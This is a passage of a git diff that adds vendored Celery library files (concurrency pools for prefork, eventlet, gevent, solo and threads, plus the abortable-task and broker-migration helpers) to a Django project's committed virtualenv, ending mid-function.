try: + job = owned_by[gen] + except KeyError: + pass + else: + # removes from Pool._cache + job.discard() + self._active_writers.discard(gen) + else: + try: + job = owned_by[gen] + except KeyError: + pass + else: + job_proc = job._write_to + if job_proc._is_alive(): + self._flush_writer(job_proc, gen) + # workers may have exited in the meantime. + self.maintain_pool() + sleep(next(intervals)) # don't busyloop + finally: + self.outbound_buffer.clear() + self._active_writers.clear() + self._active_writes.clear() + self._busy_workers.clear() + + def _flush_writer(self, proc, writer): + fds = {proc.inq._writer} + try: + while fds: + if not proc._is_alive(): + break # process exited + readable, writable, again = _select( + writers=fds, err=fds, timeout=0.5, + ) + if not again and (writable or readable): + try: + next(writer) + except (StopIteration, OSError, EOFError): + break + finally: + self._active_writers.discard(writer) + + def get_process_queues(self): + """Get queues for a new process. + + Here we'll find an unused slot, as there should always + be one available when we start a new process. + """ + return next(q for q, owner in self._queues.items() + if owner is None) + + def on_grow(self, n): + """Grow the pool by ``n`` processes.""" + diff = max(self._processes - len(self._queues), 0) + if diff: + self._queues.update({ + self.create_process_queues(): None for _ in range(diff) + }) + + def on_shrink(self, n): + """Shrink the pool by ``n`` processes.""" + + def create_process_queues(self): + """Create new in, out, etc. queues, returned as a tuple.""" + # NOTE: Pipes must be set O_NONBLOCK at creation time (the original + # fd), otherwise it won't be possible to change the flags until + # there's an actual reader/writer on the other side. + inq = _SimpleQueue(wnonblock=True) + outq = _SimpleQueue(rnonblock=True) + synq = None + assert isblocking(inq._reader) + assert not isblocking(inq._writer) + assert not isblocking(outq._reader) + assert isblocking(outq._writer) + if self.synack: + synq = _SimpleQueue(wnonblock=True) + assert isblocking(synq._reader) + assert not isblocking(synq._writer) + return inq, outq, synq + + def on_process_alive(self, pid): + """Called when receiving the :const:`WORKER_UP` message. + + Marks the process as ready to receive work. + """ + try: + proc = next(w for w in self._pool if w.pid == pid) + except StopIteration: + return logger.warning('process with pid=%s already exited', pid) + assert proc.inqW_fd not in self._fileno_to_inq + assert proc.inqW_fd not in self._all_inqueues + self._waiting_to_start.discard(proc) + self._fileno_to_inq[proc.inqW_fd] = proc + self._fileno_to_synq[proc.synqW_fd] = proc + self._all_inqueues.add(proc.inqW_fd) + + def on_job_process_down(self, job, pid_gone): + """Called for each job when the process assigned to it exits.""" + if job._write_to and not job._write_to._is_alive(): + # job was partially written + self.on_partial_read(job, job._write_to) + elif job._scheduled_for and not job._scheduled_for._is_alive(): + # job was only scheduled to be written to this process, + # but no data was sent so put it back on the outbound_buffer. + self._put_back(job) + + def on_job_process_lost(self, job, pid, exitcode): + """Called when the process executing job' exits. + + This happens when the process job' + was assigned to exited by mysterious means (error exitcodes and + signals). + """ + self.mark_as_worker_lost(job, exitcode) + + def human_write_stats(self): + if self.write_stats is None: + return 'N/A' + vals = list(self.write_stats.values()) + total = sum(vals) + + def per(v, total): + return f'{(float(v) / total) if v else 0:.2f}' + + return { + 'total': total, + 'avg': per(total / len(self.write_stats) if total else 0, total), + 'all': ', '.join(per(v, total) for v in vals), + 'raw': ', '.join(map(str, vals)), + 'strategy': SCHED_STRATEGY_TO_NAME.get( + self.sched_strategy, self.sched_strategy, + ), + 'inqueues': { + 'total': len(self._all_inqueues), + 'active': len(self._active_writes), + } + } + + def _process_cleanup_queues(self, proc): + """Called to clean up queues after process exit.""" + if not proc.dead: + try: + self._queues[self._find_worker_queues(proc)] = None + except (KeyError, ValueError): + pass + + @staticmethod + def _stop_task_handler(task_handler): + """Called at shutdown to tell processes that we're shutting down.""" + for proc in task_handler.pool: + try: + setblocking(proc.inq._writer, 1) + except OSError: + pass + else: + try: + proc.inq.put(None) + except OSError as exc: + if exc.errno != errno.EBADF: + raise + + def create_result_handler(self): + return super().create_result_handler( + fileno_to_outq=self._fileno_to_outq, + on_process_alive=self.on_process_alive, + ) + + def _process_register_queues(self, proc, queues): + """Mark new ownership for ``queues`` to update fileno indices.""" + assert queues in self._queues + b = len(self._queues) + self._queues[queues] = proc + assert b == len(self._queues) + + def _find_worker_queues(self, proc): + """Find the queues owned by ``proc``.""" + try: + return next(q for q, owner in self._queues.items() + if owner == proc) + except StopIteration: + raise ValueError(proc) + + def _setup_queues(self): + # this is only used by the original pool that used a shared + # queue for all processes. + self._quick_put = None + + # these attributes are unused by this class, but we'll still + # have to initialize them for compatibility. + self._inqueue = self._outqueue = \ + self._quick_get = self._poll_result = None + + def process_flush_queues(self, proc): + """Flush all queues. + + Including the outbound buffer, so that + all tasks that haven't been started will be discarded. + + In Celery this is called whenever the transport connection is lost + (consumer restart), and when a process is terminated. + """ + resq = proc.outq._reader + on_state_change = self._result_handler.on_state_change + fds = {resq} + while fds and not resq.closed and self._state != TERMINATE: + readable, _, _ = _select(fds, None, fds, timeout=0.01) + if readable: + try: + task = resq.recv() + except (OSError, EOFError) as exc: + _errno = getattr(exc, 'errno', None) + if _errno == errno.EINTR: + continue + elif _errno == errno.EAGAIN: + break + elif _errno not in UNAVAIL: + debug('got %r while flushing process %r', + exc, proc, exc_info=1) + break + else: + if task is None: + debug('got sentinel while flushing process %r', proc) + break + else: + on_state_change(task) + else: + break + + def on_partial_read(self, job, proc): + """Called when a job was partially written to exited child.""" + # worker terminated by signal: + # we cannot reuse the sockets again, because we don't know if + # the process wrote/read anything from them, and if so we cannot + # restore the message boundaries. + if not job._accepted: + # job was not acked, so find another worker to send it to. + self._put_back(job) + writer = _get_job_writer(job) + if writer: + self._active_writers.discard(writer) + del writer + + if not proc.dead: + proc.dead = True + # Replace queues to avoid reuse + before = len(self._queues) + try: + queues = self._find_worker_queues(proc) + if self.destroy_queues(queues, proc): + self._queues[self.create_process_queues()] = None + except ValueError: + pass + assert len(self._queues) == before + + def destroy_queues(self, queues, proc): + """Destroy queues that can no longer be used. + + This way they can be replaced by new usable sockets. + """ + assert not proc._is_alive() + self._waiting_to_start.discard(proc) + removed = 1 + try: + self._queues.pop(queues) + except KeyError: + removed = 0 + try: + self.on_inqueue_close(queues[0]._writer.fileno(), proc) + except OSError: + pass + for queue in queues: + if queue: + for sock in (queue._reader, queue._writer): + if not sock.closed: + self.hub_remove(sock) + try: + sock.close() + except OSError: + pass + return removed + + def _create_payload(self, type_, args, + dumps=_pickle.dumps, pack=pack, + protocol=HIGHEST_PROTOCOL): + body = dumps((type_, args), protocol=protocol) + size = len(body) + header = pack('>I', size) + return header, body, size + + @classmethod + def _set_result_sentinel(cls, _outqueue, _pool): + # unused + pass + + def _help_stuff_finish_args(self): + # Pool._help_stuff_finished is a classmethod so we have to use this + # trick to modify the arguments passed to it. + return (self._pool,) + + @classmethod + def _help_stuff_finish(cls, pool): + # pylint: disable=arguments-differ + debug( + 'removing tasks from inqueue until task handler finished', + ) + fileno_to_proc = {} + inqR = set() + for w in pool: + try: + fd = w.inq._reader.fileno() + inqR.add(fd) + fileno_to_proc[fd] = w + except OSError: + pass + while inqR: + readable, _, again = _select(inqR, timeout=0.5) + if again: + continue + if not readable: + break + for fd in readable: + fileno_to_proc[fd].inq._reader.recv() + sleep(0) + + @property + def timers(self): + return {self.maintain_pool: 5.0} diff --git a/django_lottopy/lib/python3.10/site-packages/celery/concurrency/base.py b/django_lottopy/lib/python3.10/site-packages/celery/concurrency/base.py new file mode 100644 index 00000000..0b4db3fb --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/concurrency/base.py @@ -0,0 +1,172 @@ +"""Base Execution Pool.""" +import logging +import os +import sys +import time + +from billiard.einfo import ExceptionInfo +from billiard.exceptions import WorkerLostError +from kombu.utils.encoding import safe_repr + +from celery.exceptions import WorkerShutdown, WorkerTerminate, reraise +from celery.utils import timer2 +from celery.utils.log import get_logger +from celery.utils.text import truncate + +__all__ = ('BasePool', 'apply_target') + +logger = get_logger('celery.pool') + + +def apply_target(target, args=(), kwargs=None, callback=None, + accept_callback=None, pid=None, getpid=os.getpid, + propagate=(), monotonic=time.monotonic, **_): + """Apply function within pool context.""" + kwargs = {} if not kwargs else kwargs + if accept_callback: + accept_callback(pid or getpid(), monotonic()) + try: + ret = target(*args, **kwargs) + except propagate: + raise + except Exception: + raise + except (WorkerShutdown, WorkerTerminate): + raise + except BaseException as exc: + try: + reraise(WorkerLostError, WorkerLostError(repr(exc)), + sys.exc_info()[2]) + except WorkerLostError: + callback(ExceptionInfo()) + else: + callback(ret) + + +class BasePool: + """Task pool.""" + + RUN = 0x1 + CLOSE = 0x2 + TERMINATE = 0x3 + + Timer = timer2.Timer + + #: set to true if the pool can be shutdown from within + #: a signal handler. + signal_safe = True + + #: set to true if pool uses greenlets. + is_green = False + + _state = None + _pool = None + _does_debug = True + + #: only used by multiprocessing pool + uses_semaphore = False + + task_join_will_block = True + body_can_be_buffer = False + + def __init__(self, limit=None, putlocks=True, forking_enable=True, + callbacks_propagate=(), app=None, **options): + self.limit = limit + self.putlocks = putlocks + self.options = options + self.forking_enable = forking_enable + self.callbacks_propagate = callbacks_propagate + self.app = app + + def on_start(self): + pass + + def did_start_ok(self): + return True + + def flush(self): + pass + + def on_stop(self): + pass + + def register_with_event_loop(self, loop): + pass + + def on_apply(self, *args, **kwargs): + pass + + def on_terminate(self): + pass + + def on_soft_timeout(self, job): + pass + + def on_hard_timeout(self, job): + pass + + def maintain_pool(self, *args, **kwargs): + pass + + def terminate_job(self, pid, signal=None): + raise NotImplementedError( + f'{type(self)} does not implement kill_job') + + def restart(self): + raise NotImplementedError( + f'{type(self)} does not implement restart') + + def stop(self): + self.on_stop() + self._state = self.TERMINATE + + def terminate(self): + self._state = self.TERMINATE + self.on_terminate() + + def start(self): + self._does_debug = logger.isEnabledFor(logging.DEBUG) + self.on_start() + self._state = self.RUN + + def close(self): + self._state = self.CLOSE + self.on_close() + + def on_close(self): + pass + + def apply_async(self, target, args=None, kwargs=None, **options): + """Equivalent of the :func:`apply` built-in function. + + Callbacks should optimally return as soon as possible since + otherwise the thread which handles the result will get blocked. + """ + kwargs = {} if not kwargs else kwargs + args = [] if not args else args + if self._does_debug: + logger.debug('TaskPool: Apply %s (args:%s kwargs:%s)', + target, truncate(safe_repr(args), 1024), + truncate(safe_repr(kwargs), 1024)) + + return self.on_apply(target, args, kwargs, + waitforslot=self.putlocks, + callbacks_propagate=self.callbacks_propagate, + **options) + + def _get_info(self): + return { + 'max-concurrency': self.limit, + } + + @property + def info(self): + return self._get_info() + + @property + def active(self): + return self._state == self.RUN + + @property + def num_processes(self): + return self.limit diff --git a/django_lottopy/lib/python3.10/site-packages/celery/concurrency/eventlet.py b/django_lottopy/lib/python3.10/site-packages/celery/concurrency/eventlet.py new file mode 100644 index 00000000..f9c9da7f --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/concurrency/eventlet.py @@ -0,0 +1,181 @@ +"""Eventlet execution pool.""" +import sys +from time import monotonic + +from greenlet import GreenletExit +from kombu.asynchronous import timer as _timer + +from celery import signals + +from . import base + +__all__ = ('TaskPool',) + +W_RACE = """\ +Celery module with %s imported before eventlet patched\ +""" +RACE_MODS = ('billiard.', 'celery.', 'kombu.') + + +#: Warn if we couldn't patch early enough, +#: and thread/socket depending celery modules have already been loaded. +for mod in (mod for mod in sys.modules if mod.startswith(RACE_MODS)): + for side in ('thread', 'threading', 'socket'): # pragma: no cover + if getattr(mod, side, None): + import warnings + warnings.warn(RuntimeWarning(W_RACE % side)) + + +def apply_target(target, args=(), kwargs=None, callback=None, + accept_callback=None, getpid=None): + kwargs = {} if not kwargs else kwargs + return base.apply_target(target, args, kwargs, callback, accept_callback, + pid=getpid()) + + +class Timer(_timer.Timer): + """Eventlet Timer.""" + + def __init__(self, *args, **kwargs): + from eventlet.greenthread import spawn_after + from greenlet import GreenletExit + super().__init__(*args, **kwargs) + + self.GreenletExit = GreenletExit + self._spawn_after = spawn_after + self._queue = set() + + def _enter(self, eta, priority, entry, **kwargs): + secs = max(eta - monotonic(), 0) + g = self._spawn_after(secs, entry) + self._queue.add(g) + g.link(self._entry_exit, entry) + g.entry = entry + g.eta = eta + g.priority = priority + g.canceled = False + return g + + def _entry_exit(self, g, entry): + try: + try: + g.wait() + except self.GreenletExit: + entry.cancel() + g.canceled = True + finally: + self._queue.discard(g) + + def clear(self): + queue = self._queue + while queue: + try: + queue.pop().cancel() + except (KeyError, self.GreenletExit): + pass + + def cancel(self, tref): + try: + tref.cancel() + except self.GreenletExit: + pass + + @property + def queue(self): + return self._queue + + +class TaskPool(base.BasePool): + """Eventlet Task Pool.""" + + Timer = Timer + + signal_safe = False + is_green = True + task_join_will_block = False + _pool = None + _pool_map = None + _quick_put = None + + def __init__(self, *args, **kwargs): + from eventlet import greenthread + from eventlet.greenpool import GreenPool + self.Pool = GreenPool + self.getcurrent = greenthread.getcurrent + self.getpid = lambda: id(greenthread.getcurrent()) + self.spawn_n = greenthread.spawn_n + + super().__init__(*args, **kwargs) + + def on_start(self): + self._pool = self.Pool(self.limit) + self._pool_map = {} + signals.eventlet_pool_started.send(sender=self) + self._quick_put = self._pool.spawn + self._quick_apply_sig = signals.eventlet_pool_apply.send + + def on_stop(self): + signals.eventlet_pool_preshutdown.send(sender=self) + if self._pool is not None: + self._pool.waitall() + signals.eventlet_pool_postshutdown.send(sender=self) + + def on_apply(self, target, args=None, kwargs=None, callback=None, + accept_callback=None, **_): + target = TaskPool._make_killable_target(target) + self._quick_apply_sig(sender=self, target=target, args=args, kwargs=kwargs,) + greenlet = self._quick_put( + apply_target, + target, args, + kwargs, + callback, + accept_callback, + self.getpid + ) + self._add_to_pool_map(id(greenlet), greenlet) + + def grow(self, n=1): + limit = self.limit + n + self._pool.resize(limit) + self.limit = limit + + def shrink(self, n=1): + limit = self.limit - n + self._pool.resize(limit) + self.limit = limit + + def terminate_job(self, pid, signal=None): + if pid in self._pool_map.keys(): + greenlet = self._pool_map[pid] + greenlet.kill() + greenlet.wait() + + def _get_info(self): + info = super()._get_info() + info.update({ + 'max-concurrency': self.limit, + 'free-threads': self._pool.free(), + 'running-threads': self._pool.running(), + }) + return info + + @staticmethod + def _make_killable_target(target): + def killable_target(*args, **kwargs): + try: + return target(*args, **kwargs) + except GreenletExit: + return (False, None, None) + return killable_target + + def _add_to_pool_map(self, pid, greenlet): + self._pool_map[pid] = greenlet + greenlet.link( + TaskPool._cleanup_after_job_finish, + self._pool_map, + pid + ) + + @staticmethod + def _cleanup_after_job_finish(greenlet, pool_map, pid): + del pool_map[pid] diff --git a/django_lottopy/lib/python3.10/site-packages/celery/concurrency/gevent.py b/django_lottopy/lib/python3.10/site-packages/celery/concurrency/gevent.py new file mode 100644 index 00000000..33a61bf6 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/concurrency/gevent.py @@ -0,0 +1,122 @@ +"""Gevent execution pool.""" +from time import monotonic + +from kombu.asynchronous import timer as _timer + +from . import base + +try: + from gevent import Timeout +except ImportError: # pragma: no cover + Timeout = None + +__all__ = ('TaskPool',) + +# pylint: disable=redefined-outer-name +# We cache globals and attribute lookups, so disable this warning. + + +def apply_timeout(target, args=(), kwargs=None, callback=None, + accept_callback=None, pid=None, timeout=None, + timeout_callback=None, Timeout=Timeout, + apply_target=base.apply_target, **rest): + kwargs = {} if not kwargs else kwargs + try: + with Timeout(timeout): + return apply_target(target, args, kwargs, callback, + accept_callback, pid, + propagate=(Timeout,), **rest) + except Timeout: + return timeout_callback(False, timeout) + + +class Timer(_timer.Timer): + + def __init__(self, *args, **kwargs): + from gevent import Greenlet, GreenletExit + + class _Greenlet(Greenlet): + cancel = Greenlet.kill + + self._Greenlet = _Greenlet + self._GreenletExit = GreenletExit + super().__init__(*args, **kwargs) + self._queue = set() + + def _enter(self, eta, priority, entry, **kwargs): + secs = max(eta - monotonic(), 0) + g = self._Greenlet.spawn_later(secs, entry) + self._queue.add(g) + g.link(self._entry_exit) + g.entry = entry + g.eta = eta + g.priority = priority + g.canceled = False + return g + + def _entry_exit(self, g): + try: + g.kill() + finally: + self._queue.discard(g) + + def clear(self): + queue = self._queue + while queue: + try: + queue.pop().kill() + except KeyError: + pass + + @property + def queue(self): + return self._queue + + +class TaskPool(base.BasePool): + """GEvent Pool.""" + + Timer = Timer + + signal_safe = False + is_green = True + task_join_will_block = False + _pool = None + _quick_put = None + + def __init__(self, *args, **kwargs): + from gevent import spawn_raw + from gevent.pool import Pool + self.Pool = Pool + self.spawn_n = spawn_raw + self.timeout = kwargs.get('timeout') + super().__init__(*args, **kwargs) + + def on_start(self): + self._pool = self.Pool(self.limit) + self._quick_put = self._pool.spawn + + def on_stop(self): + if self._pool is not None: + self._pool.join() + + def on_apply(self, target, args=None, kwargs=None, callback=None, + accept_callback=None, timeout=None, + timeout_callback=None, apply_target=base.apply_target, **_): + timeout = self.timeout if timeout is None else timeout + return self._quick_put(apply_timeout if timeout else apply_target, + target, args, kwargs, callback, accept_callback, + timeout=timeout, + timeout_callback=timeout_callback) + + def grow(self, n=1): + self._pool._semaphore.counter += n + self._pool.size += n + + def shrink(self, n=1): + self._pool._semaphore.counter -= n + self._pool.size -= n + + @property + def num_processes(self): + return len(self._pool) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/concurrency/prefork.py b/django_lottopy/lib/python3.10/site-packages/celery/concurrency/prefork.py new file mode 100644 index 00000000..40772eba --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/concurrency/prefork.py @@ -0,0 +1,170 @@ +"""Prefork execution pool. + +Pool implementation using :mod:`multiprocessing`. +""" +import os + +from billiard import forking_enable +from billiard.common import REMAP_SIGTERM, TERM_SIGNAME +from billiard.pool import CLOSE, RUN +from billiard.pool import Pool as BlockingPool + +from celery import platforms, signals +from celery._state import _set_task_join_will_block, set_default_app +from celery.app import trace +from celery.concurrency.base import BasePool +from celery.utils.functional import noop +from celery.utils.log import get_logger + +from .asynpool import AsynPool + +__all__ = ('TaskPool', 'process_initializer', 'process_destructor') + +#: List of signals to reset when a child process starts. +WORKER_SIGRESET = { + 'SIGTERM', 'SIGHUP', 'SIGTTIN', 'SIGTTOU', 'SIGUSR1', +} + +#: List of signals to ignore when a child process starts. +if REMAP_SIGTERM: + WORKER_SIGIGNORE = {'SIGINT', TERM_SIGNAME} +else: + WORKER_SIGIGNORE = {'SIGINT'} + +logger = get_logger(__name__) +warning, debug = logger.warning, logger.debug + + +def process_initializer(app, hostname): + """Pool child process initializer. + + Initialize the child pool process to ensure the correct + app instance is used and things like logging works. + """ + # Each running worker gets SIGKILL by OS when main process exits. + platforms.set_pdeathsig('SIGKILL') + _set_task_join_will_block(True) + platforms.signals.reset(*WORKER_SIGRESET) + platforms.signals.ignore(*WORKER_SIGIGNORE) + platforms.set_mp_process_title('celeryd', hostname=hostname) + # This is for Windows and other platforms not supporting + # fork(). Note that init_worker makes sure it's only + # run once per process. + app.loader.init_worker() + app.loader.init_worker_process() + logfile = os.environ.get('CELERY_LOG_FILE') or None + if logfile and '%i' in logfile.lower(): + # logfile path will differ so need to set up logging again. + app.log.already_setup = False + app.log.setup(int(os.environ.get('CELERY_LOG_LEVEL', 0) or 0), + logfile, + bool(os.environ.get('CELERY_LOG_REDIRECT', False)), + str(os.environ.get('CELERY_LOG_REDIRECT_LEVEL')), + hostname=hostname) + if os.environ.get('FORKED_BY_MULTIPROCESSING'): + # pool did execv after fork + trace.setup_worker_optimizations(app, hostname) + else: + app.set_current() + set_default_app(app) + app.finalize() + trace._tasks = app._tasks # enables fast_trace_task optimization. + # rebuild execution handler for all tasks. + from celery.app.trace import build_tracer + for name, task in app.tasks.items(): + task.__trace__ = build_tracer(name, task, app.loader, hostname, + app=app) + from celery.worker import state as worker_state + worker_state.reset_state() + signals.worker_process_init.send(sender=None) + + +def process_destructor(pid, exitcode): + """Pool child process destructor. + + Dispatch the :signal:`worker_process_shutdown` signal. + """ + signals.worker_process_shutdown.send( + sender=None, pid=pid, exitcode=exitcode, + ) + + +class TaskPool(BasePool): + """Multiprocessing Pool implementation.""" + + Pool = AsynPool + BlockingPool = BlockingPool + + uses_semaphore = True + write_stats = None + + def on_start(self): + forking_enable(self.forking_enable) + Pool = (self.BlockingPool if self.options.get('threads', True) + else self.Pool) + proc_alive_timeout = ( + self.app.conf.worker_proc_alive_timeout if self.app + else None + ) + P = self._pool = Pool(processes=self.limit, + initializer=process_initializer, + on_process_exit=process_destructor, + enable_timeouts=True, + synack=False, + proc_alive_timeout=proc_alive_timeout, + **self.options) + + # Create proxy methods + self.on_apply = P.apply_async + self.maintain_pool = P.maintain_pool + self.terminate_job = P.terminate_job + self.grow = P.grow + self.shrink = P.shrink + self.flush = getattr(P, 'flush', None) # FIXME add to billiard + + def restart(self): + self._pool.restart() + self._pool.apply_async(noop) + + def did_start_ok(self): + return self._pool.did_start_ok() + + def register_with_event_loop(self, loop): + try: + reg = self._pool.register_with_event_loop + except AttributeError: + return + return reg(loop) + + def on_stop(self): + """Gracefully stop the pool.""" + if self._pool is not None and self._pool._state in (RUN, CLOSE): + self._pool.close() + self._pool.join() + self._pool = None + + def on_terminate(self): + """Force terminate the pool.""" + if self._pool is not None: + self._pool.terminate() + self._pool = None + + def on_close(self): + if self._pool is not None and self._pool._state == RUN: + self._pool.close() + + def _get_info(self): + write_stats = getattr(self._pool, 'human_write_stats', None) + return { + 'max-concurrency': self.limit, + 'processes': [p.pid for p in self._pool._pool], + 'max-tasks-per-child': self._pool._maxtasksperchild or 'N/A', + 'put-guarded-by-semaphore': self.putlocks, + 'timeouts': (self._pool.soft_timeout or 0, + self._pool.timeout or 0), + 'writes': write_stats() if write_stats is not None else 'N/A', + } + + @property + def num_processes(self): + return self._pool._processes diff --git a/django_lottopy/lib/python3.10/site-packages/celery/concurrency/solo.py b/django_lottopy/lib/python3.10/site-packages/celery/concurrency/solo.py new file mode 100644 index 00000000..ea6e274a --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/concurrency/solo.py @@ -0,0 +1,29 @@ +"""Single-threaded execution pool.""" +import os + +from celery import signals + +from .base import BasePool, apply_target + +__all__ = ('TaskPool',) + + +class TaskPool(BasePool): + """Solo task pool (blocking, inline, fast).""" + + body_can_be_buffer = True + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self.on_apply = apply_target + self.limit = 1 + signals.worker_process_init.send(sender=None) + + def _get_info(self): + return { + 'max-concurrency': 1, + 'processes': [os.getpid()], + 'max-tasks-per-child': None, + 'put-guarded-by-semaphore': True, + 'timeouts': (), + } diff --git a/django_lottopy/lib/python3.10/site-packages/celery/concurrency/thread.py b/django_lottopy/lib/python3.10/site-packages/celery/concurrency/thread.py new file mode 100644 index 00000000..ffd2e507 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/concurrency/thread.py @@ -0,0 +1,45 @@ +"""Thread execution pool.""" + +from concurrent.futures import ThreadPoolExecutor, wait + +from .base import BasePool, apply_target + +__all__ = ('TaskPool',) + + +class ApplyResult: + def __init__(self, future): + self.f = future + self.get = self.f.result + + def wait(self, timeout=None): + wait([self.f], timeout) + + +class TaskPool(BasePool): + """Thread Task Pool.""" + + body_can_be_buffer = True + signal_safe = False + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self.executor = ThreadPoolExecutor(max_workers=self.limit) + + def on_stop(self): + self.executor.shutdown() + super().on_stop() + + def on_apply(self, target, args=None, kwargs=None, callback=None, + accept_callback=None, **_): + f = self.executor.submit(apply_target, target, args, kwargs, + callback, accept_callback) + return ApplyResult(f) + + def _get_info(self): + return { + 'max-concurrency': self.limit, + 'threads': len(self.executor._threads) + # TODO use a public api to retrieve the current number of threads + # in the executor when available. (Currently not available). + } diff --git a/django_lottopy/lib/python3.10/site-packages/celery/contrib/__init__.py b/django_lottopy/lib/python3.10/site-packages/celery/contrib/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/django_lottopy/lib/python3.10/site-packages/celery/contrib/abortable.py b/django_lottopy/lib/python3.10/site-packages/celery/contrib/abortable.py new file mode 100644 index 00000000..75b4d254 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/contrib/abortable.py @@ -0,0 +1,169 @@ +"""Abortable Tasks. + +Abortable tasks overview +========================= + +For long-running :class:`Task`'s, it can be desirable to support +aborting during execution. Of course, these tasks should be built to +support abortion specifically. + +The :class:`AbortableTask` serves as a base class for all :class:`Task` +objects that should support abortion by producers. + +* Producers may invoke the :meth:`abort` method on + :class:`AbortableAsyncResult` instances, to request abortion. + +* Consumers (workers) should periodically check (and honor!) the + :meth:`is_aborted` method at controlled points in their task's + :meth:`run` method. The more often, the better. + +The necessary intermediate communication is dealt with by the +:class:`AbortableTask` implementation. + +Usage example +------------- + +In the consumer: + +.. code-block:: python + + from __future__ import absolute_import + + from celery.contrib.abortable import AbortableTask + from celery.utils.log import get_task_logger + + from proj.celery import app + + logger = get_logger(__name__) + + @app.task(bind=True, base=AbortableTask) + def long_running_task(self): + results = [] + for i in range(100): + # check after every 5 iterations... + # (or alternatively, check when some timer is due) + if not i % 5: + if self.is_aborted(): + # respect aborted state, and terminate gracefully. + logger.warning('Task aborted') + return + value = do_something_expensive(i) + results.append(y) + logger.info('Task complete') + return results + +In the producer: + +.. code-block:: python + + from __future__ import absolute_import + + import time + + from proj.tasks import MyLongRunningTask + + def myview(request): + # result is of type AbortableAsyncResult + result = long_running_task.delay() + + # abort the task after 10 seconds + time.sleep(10) + result.abort() + +After the `result.abort()` call, the task execution isn't +aborted immediately. In fact, it's not guaranteed to abort at all. +Keep checking `result.state` status, or call `result.get(timeout=)` to +have it block until the task is finished. + +.. note:: + + In order to abort tasks, there needs to be communication between the + producer and the consumer. This is currently implemented through the + database backend. Therefore, this class will only work with the + database backends. +""" +from celery import Task +from celery.result import AsyncResult + +__all__ = ('AbortableAsyncResult', 'AbortableTask') + + +""" +Task States +----------- + +.. state:: ABORTED + +ABORTED +~~~~~~~ + +Task is aborted (typically by the producer) and should be +aborted as soon as possible. + +""" +ABORTED = 'ABORTED' + + +class AbortableAsyncResult(AsyncResult): + """Represents an abortable result. + + Specifically, this gives the `AsyncResult` a :meth:`abort()` method, + that sets the state of the underlying Task to `'ABORTED'`. + """ + + def is_aborted(self): + """Return :const:`True` if the task is (being) aborted.""" + return self.state == ABORTED + + def abort(self): + """Set the state of the task to :const:`ABORTED`. + + Abortable tasks monitor their state at regular intervals and + terminate execution if so. + + Warning: + Be aware that invoking this method does not guarantee when the + task will be aborted (or even if the task will be aborted at all). + """ + # TODO: store_result requires all four arguments to be set, + # but only state should be updated here + return self.backend.store_result(self.id, result=None, + state=ABORTED, traceback=None) + + +class AbortableTask(Task): + """Task that can be aborted. + + This serves as a base class for all :class:`Task`'s + that support aborting during execution. + + All subclasses of :class:`AbortableTask` must call the + :meth:`is_aborted` method periodically and act accordingly when + the call evaluates to :const:`True`. + """ + + abstract = True + + def AsyncResult(self, task_id): + """Return the accompanying AbortableAsyncResult instance.""" + return AbortableAsyncResult(task_id, backend=self.backend) + + def is_aborted(self, **kwargs): + """Return true if task is aborted. + + Checks against the backend whether this + :class:`AbortableAsyncResult` is :const:`ABORTED`. + + Always return :const:`False` in case the `task_id` parameter + refers to a regular (non-abortable) :class:`Task`. + + Be aware that invoking this method will cause a hit in the + backend (for example a database query), so find a good balance + between calling it regularly (for responsiveness), but not too + often (for performance). + """ + task_id = kwargs.get('task_id', self.request.id) + result = self.AsyncResult(task_id) + if not isinstance(result, AbortableAsyncResult): + return False + return result.is_aborted() diff --git a/django_lottopy/lib/python3.10/site-packages/celery/contrib/migrate.py b/django_lottopy/lib/python3.10/site-packages/celery/contrib/migrate.py new file mode 100644 index 00000000..ec3751e7 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/contrib/migrate.py @@ -0,0 +1,411 @@ +"""Message migration tools (Broker <-> Broker).""" +import socket +from functools import partial +from itertools import cycle, islice + +from kombu import Queue, eventloop +from kombu.common import maybe_declare +from kombu.utils.encoding import ensure_bytes + +from celery.app import app_or_default +from celery.utils.nodenames import worker_direct +from celery.utils.text import str_to_list + +__all__ = ( + 'StopFiltering', 'State', 'republish', 'migrate_task', + 'migrate_tasks', 'move', 'task_id_eq', 'task_id_in', + 'start_filter', 'move_task_by_id', 'move_by_idmap', + 'move_by_taskmap', 'move_direct', 'move_direct_by_id', +) + +MOVING_PROGRESS_FMT = """\ +Moving task {state.filtered}/{state.strtotal}: \ +{body[task]}[{body[id]}]\ +""" + + +class StopFiltering(Exception): + """Semi-predicate used to signal filter stop.""" + + +class State: + """Migration progress state.""" + + count = 0 + filtered = 0 + total_apx = 0 + + @property + def strtotal(self): + if not self.total_apx: + return '?' + return str(self.total_apx) + + def __repr__(self): + if self.filtered: + return f'^{self.filtered}' + return f'{self.count}/{self.strtotal}' + + +def republish(producer, message, exchange=None, routing_key=None, + remove_props=None): + """Republish message.""" + if not remove_props: + remove_props = ['application_headers', 'content_type', + 'content_encoding', 'headers'] + body = ensure_bytes(message.body) # use raw message body. + info, headers, props = (message.delivery_info, + message.headers, message.properties) + exchange = info['exchange'] if exchange is None else exchange + routing_key = info['routing_key'] if routing_key is None else routing_key + ctype, enc = message.content_type, message.content_encoding + # remove compression header, as this will be inserted again + # when the message is recompressed. + compression = headers.pop('compression', None) + + for key in remove_props: + props.pop(key, None) + + producer.publish(ensure_bytes(body), exchange=exchange, + routing_key=routing_key, compression=compression, + headers=headers, content_type=ctype, + content_encoding=enc, **props) + + +def migrate_task(producer, body_, message, queues=None): + """Migrate single task message.""" + info = message.delivery_info + queues = {} if queues is None else queues + republish(producer, message, + exchange=queues.get(info['exchange']), + routing_key=queues.get(info['routing_key'])) + + +def filter_callback(callback, tasks): + + def filtered(body, message): + if tasks and body['task'] not in tasks: + return + + return callback(body, message) + return filtered + + +def migrate_tasks(source, dest, migrate=migrate_task, app=None, + queues=None, **kwargs): + """Migrate tasks from one broker to another.""" + app = 